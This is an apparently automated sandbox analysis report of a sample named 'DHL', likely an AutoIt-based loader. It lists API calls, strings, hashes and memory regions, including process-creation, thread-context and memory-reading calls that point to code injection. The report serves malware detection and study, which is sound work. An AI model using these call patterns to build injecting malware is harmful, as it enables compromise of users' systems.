API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 0502cd8ec374e429c55806e2bdb275a8f472cfff30926e2b6b9b5f661603e5e6
Instruction ID: 1284d7b79aaf03ce0a79ad319cc635eb1a700e985b7d72c7a2b2cd96f4616a04
Opcode Fuzzy Hash: 0502cd8ec374e429c55806e2bdb275a8f472cfff30926e2b6b9b5f661603e5e6
Instruction Fuzzy Hash: D87192715043009EC314DFA5DC85AABB7F8FFD5750F40882EF5899B1A0EB749A89CB92

Function 009A2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 009A2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 009A2B9D
LoadIconW.USER32(00000063), ref: 009A2BB3
LoadIconW.USER32(000000A4), ref: 009A2BC5
LoadIconW.USER32(000000A2), ref: 009A2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009A2BEF
RegisterClassExW.USER32(?), ref: 009A2C40

Part of subcall function 009A2CD4: GetSysColorBrush.USER32(0000000F), ref: 009A2D07
Part of subcall function 009A2CD4: RegisterClassExW.USER32(00000030), ref: 009A2D31
Part of subcall function 009A2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009A2D42
Part of subcall function 009A2CD4: InitCommonControlsEx.COMCTL32(?), ref: 009A2D5F
Part of subcall function 009A2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009A2D6F
Part of subcall function 009A2CD4: LoadIconW.USER32(000000A9), ref: 009A2D85
Part of subcall function 009A2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009A2D94

Strings

#, xrefs: 009A2C16
AutoIt v3, xrefs: 009A2C2F
0, xrefs: 009A2C0F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 4b7b9eaf2cc22b5ff159dabf1909940ce03d6e3f0ee6594e1bb3ab9fb39c12f2
Instruction ID: 0eafa2b344f4c31c29ea56e8f67127e7454aba27ccdd3127dae97b7e95122232
Opcode Fuzzy Hash: 4b7b9eaf2cc22b5ff159dabf1909940ce03d6e3f0ee6594e1bb3ab9fb39c12f2
Instruction Fuzzy Hash: FB210975E00314ABDB50DFE9EC59A997FF4FB48B54F00806AF508BA6A0D7B14586CF90

Function 009A3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,009A316A,?,?), ref: 009A31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,009A316A,?,?), ref: 009A3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009A3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,009A316A,?,?), ref: 009A3232
CreatePopupMenu.USER32 ref: 009A3246
PostQuitMessage.USER32(00000000), ref: 009A3267

Strings

TaskbarCreated, xrefs: 009A322D

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: ba6afa38e7f51e355e5dacf66dc49c866bfe48c10b1e7b594b45b6751cc49a3b
Instruction ID: e4e5eb7f59b32aca661275046561acd714beaf6d5eecaee3b12a49f97a557293
Opcode Fuzzy Hash: ba6afa38e7f51e355e5dacf66dc49c866bfe48c10b1e7b594b45b6751cc49a3b
Instruction Fuzzy Hash: 4B417831244204ABDF159BBC9D0EB793A9DEB47350F04C125FE1A9A1E1DB748E8287E1

Function 00E155D8 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00E156A9
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00E158CF

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
Instruction ID: a2fb4c9adebc194bc90054d5c6701fa969e8ac4a487aa478b791ad1799516385
Opcode Fuzzy Hash: e364f936384ad5a75a3e6820b612275e2b186d73597ef444eab7978b091760cf
Instruction Fuzzy Hash: B1A12A75E00209EBDB14CFA4C895BEEBBB5FF88305F209569E511BB280D7759A81CF60

Function 009A2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 009A2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 009A2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,009A1CAD,?), ref: 009A2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,009A1CAD,?), ref: 009A2CCF

Strings

edit, xrefs: 009A2CAC
AutoIt v3, xrefs: 009A2C89, 009A2C8E, 009A2C8F

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 1269cfe907b1a10e20c54e90869eacd819009d1d9680f847d790b3cbe1896d0c
Instruction ID: 457397c8ad7a902fa2302733fe2d80db6df60af62b7ee8c253e1f89dcc60a80b
Opcode Fuzzy Hash: 1269cfe907b1a10e20c54e90869eacd819009d1d9680f847d790b3cbe1896d0c
Instruction Fuzzy Hash: 6FF030796403907AE770876B6C0DE773EBDD7C6F60F018059F908A6560D2610882DA70

Function 00E153B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E152A8: Sleep.KERNELBASE(000001F4), ref: 00E152B9

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00E154C9

Strings

HWQ6E6F52023, xrefs: 00E1552C, 00E1552F

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID: CreateFileSleep
String ID: HWQ6E6F52023
API String ID: 2694422964-556136787
Opcode ID: 3239c3e8ad6f9d0b94c78fe774f23a886e76ef3c448c18f7d4a068798c60df44
Instruction ID: ca19c88e62fc712d4ba25b6de228d4f2edb985a36def83d1e40c7f544a1c380a
Opcode Fuzzy Hash: 3239c3e8ad6f9d0b94c78fe774f23a886e76ef3c448c18f7d4a068798c60df44
Instruction Fuzzy Hash: 96519231D14249EBEF11DBE4C815BEFBBB9AF54300F104199E609BB2C0D6B91B85CBA5

Function 00A12947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A12C05
DeleteFileW.KERNEL32(?), ref: 00A12C87
CopyFileW.KERNELBASE(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A12C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A12CAE
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A12CC0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 245490731e12d6d8187ee7e87da50bc375fffa60026634113d308ddc60b2a333
Instruction ID: 34f2ee802f70811a6546ac58168c40d7e143d3c516608aae7a96c9b41ec56950
Opcode Fuzzy Hash: 245490731e12d6d8187ee7e87da50bc375fffa60026634113d308ddc60b2a333
Instruction Fuzzy Hash: 8EB13E71E01129ABDF11DBA4CD85FDEB7BDEF49350F1040A6F609E6141EA30DA948FA1

Function 009A3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,009A3B0F,SwapMouseButtons,00000004,?), ref: 009A3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,009A3B0F,SwapMouseButtons,00000004,?), ref: 009A3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,009A3B0F,SwapMouseButtons,00000004,?), ref: 009A3B83

Strings

Control Panel\Mouse, xrefs: 009A3B3E

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 8864f51c7774e1ad371ef238bb6548389b706f097d42b0b1e2ed9b9544731a92
Instruction ID: e9d17e9d44af956487ec9f004575fac7e2638d24004fa709819d3a3c428ac854
Opcode Fuzzy Hash: 8864f51c7774e1ad371ef238bb6548389b706f097d42b0b1e2ed9b9544731a92
Instruction Fuzzy Hash: BD112AB5511208FFDB20CFA5DC85ABEB7BDEF06754B108959B805E7110E3319E419BA0

Function 00E142A8 Relevance: 6.7, APIs: 4, Instructions: 720
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00E14A63
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00E14AF9
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00E14B1B

Memory Dump Source

Source File: 00000000.00000002.1465502144.0000000000E13000.00000040.00000020.00020000.00000000.sdmp, Offset: 00E13000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e13000_DHL.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
Instruction ID: b4d5f53b752ed8119cffd250815ca6d0b50b64f97c49c083f8cb39907824bf18
Opcode Fuzzy Hash: a5f8eca76df1c4d60a387bf050efe929c827b8bdc82418feca4108ede207e1c1
Instruction Fuzzy Hash: 0B62F770A142189BEB24CBA4C850BDEB376EF58704F1091A9D11DFB3D0E77A9E81CB59

Function 009ADFD0 Relevance: 6.7, APIs: 2, Strings: 1, Instructions: 1414COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 009F32B7

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: c8e42e5bb9ae27b8a3217fa599188d77b9ee55831bdd0ebf2838e7230e3a96d4
Instruction ID: 331a0300a4bb6755fe97d805365815f4bdb24748fd0fd9d6133e4dd864717dfc
Opcode Fuzzy Hash: c8e42e5bb9ae27b8a3217fa599188d77b9ee55831bdd0ebf2838e7230e3a96d4
Instruction Fuzzy Hash: 3EC28A71A00215CFCB24CF98C890BADB7B5FF4A310F248569E916AB391D779ED81CB91

Function 009BFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 009C0668

Part of subcall function 009C32A4: RaiseException.KERNEL32(?,?,?,009C068A,?,00A71444,?,?,?,?,?,?,009C068A,009A1129,00A68738,009A1129), ref: 009C3304

__CxxThrowException@8.LIBVCRUNTIME ref: 009C0685

Strings

Unknown exception, xrefs: 009C0692

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: ec436c6d703f0a9f99c19ff7c3ef23e2b370977c34bf9e93fe5241ca2135e52b
Instruction ID: 5cc927982dbe70196bddd1dc27ae874ba6a14970a48c421ff5af7b4f7fd6a021
Opcode Fuzzy Hash: ec436c6d703f0a9f99c19ff7c3ef23e2b370977c34bf9e93fe5241ca2135e52b
Instruction Fuzzy Hash: 99F0C234D0020DB78F00BA64DD5AF9E7B6C6EC0350F608A39B828D65D1EF71DB25C682

Function 00A13017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00A1302F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00A13044

Strings

aut, xrefs: 00A13038

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: e0592fa4fb369c7ae4e24f19816a86f612fe5cea97caf2db92614aadec32aaed
Instruction ID: e7ef5431b158bfc16800b7f597d1234095d056dc00dd32d01e31b57137e0604c
Opcode Fuzzy Hash: e0592fa4fb369c7ae4e24f19816a86f612fe5cea97caf2db92614aadec32aaed
Instruction Fuzzy Hash: 33D05E7250032877DA20E7E4AC0EFCB3A7CDB04760F0006A1BA55E2091DAB09985CBD0

Function 00A27F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00A282F5
TerminateProcess.KERNEL32(00000000), ref: 00A282FC
FreeLibrary.KERNEL32(?,?,?,?), ref: 00A284DD

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 67e080cbccaccc87a03595e43ce453b520a513f08095fe7aa39e23fe6bacab78
Instruction ID: bebb73f8989dafc74bb93d7f35b713c097f8a86134f88faa8de5d7b08f2d60fb
Opcode Fuzzy Hash: 67e080cbccaccc87a03595e43ce453b520a513f08095fe7aa39e23fe6bacab78
Instruction Fuzzy Hash: 14128C719083119FC714DF28D580B6ABBE1BF89328F04896DF8998B252DB35ED45CF92

Function 009D5AA9 Relevance: 4.7, APIs: 3, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1794a22d4c34211ad4a6cb70cd6d77c14505ce807369ebcfbb7de11af3fb983
Instruction ID: 1427ba6246dbbddf707b4ce4b2b50e4be6a494207ee4bc1795e587d27d8e42da
Opcode Fuzzy Hash: e1794a22d4c34211ad4a6cb70cd6d77c14505ce807369ebcfbb7de11af3fb983
Instruction Fuzzy Hash: 9251E071D90609AFDB20AFB8C845FAEBBB8AF45310F16801BF404B7391D7799901DB62

Function 009A10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 009A1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 009A1BF4
Part of subcall function 009A1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 009A1BFC
Part of subcall function 009A1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 009A1C07
Part of subcall function 009A1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 009A1C12
Part of subcall function 009A1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 009A1C1A
Part of subcall function 009A1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 009A1C22

Part of subcall function 009A1B4A: RegisterWindowMessageW.USER32(00000004,?,009A12C4), ref: 009A1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 009A136A
OleInitialize.OLE32 ref: 009A1388
CloseHandle.KERNEL32(00000000,00000000), ref: 009E24AB

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 85a14c9f93b6a43556ed521c7101ad68a0639629a2fd8df089d7ed08444f8e34
Instruction ID: e61fe78846aa1784e3a114684a58c9fe2989431b6e930d12d67fdc21fe656390
Opcode Fuzzy Hash: 85a14c9f93b6a43556ed521c7101ad68a0639629a2fd8df089d7ed08444f8e34
Instruction Fuzzy Hash: 8F71ABB49212008FC388EFFDAD56A563BE5FB89354B54C22AE00ED7361EB304482CF95

Function 00A0C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 009A3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00A0C259
KillTimer.USER32(?,00000001,?,?), ref: 00A0C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00A0C270

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 4adff66c872114b0aecfc56406550fd4e5838a49e8fb97926890b812f0c51c45
Instruction ID: 044bf9d10a31cb220e5be6ea4cba1d6b280e824f7f744708d4b858e90d2ae3d7
Opcode Fuzzy Hash: 4adff66c872114b0aecfc56406550fd4e5838a49e8fb97926890b812f0c51c45
Instruction Fuzzy Hash: E631C370904348AFEB22DFA49C95BEBBBFC9F06314F00449EE5DAA7281C7745A85CB51

Function 009D86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,009D85CC,?,00A68CC8,0000000C), ref: 009D8704
GetLastError.KERNEL32(?,009D85CC,?,00A68CC8,0000000C), ref: 009D870E
__dosmaperr.LIBCMT ref: 009D8739

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 37b58f49d38fe7cfe8a63b4dea2d07cd270fa3d0b4c42d066a82c802e4580587
Instruction ID: 50664025aca0d5365537206781772e6aec9fdfc89dfba8ae559eec6b4fc7e891
Opcode Fuzzy Hash: 37b58f49d38fe7cfe8a63b4dea2d07cd270fa3d0b4c42d066a82c802e4580587
Instruction Fuzzy Hash: FF014E32A8566066D664A7746C49F7FAB4D8BC1774F3AC11BF8189B3D3DEA1CC818350

Function 009ADB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 009ADB7B
DispatchMessageW.USER32(?), ref: 009ADB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009ADB9F
Sleep.KERNEL32(0000000A), ref: 009ADBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 009F1CC9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: b93fdca1a295f2f27597c07000285ada93fb2dd4b7599628e4269277bd1353e3
Instruction ID: 106e1d49934c2e64f6fdfaefbd30ee0d05145fe6c9327dfb57ef43a0fffd602a
Opcode Fuzzy Hash: b93fdca1a295f2f27597c07000285ada93fb2dd4b7599628e4269277bd1353e3
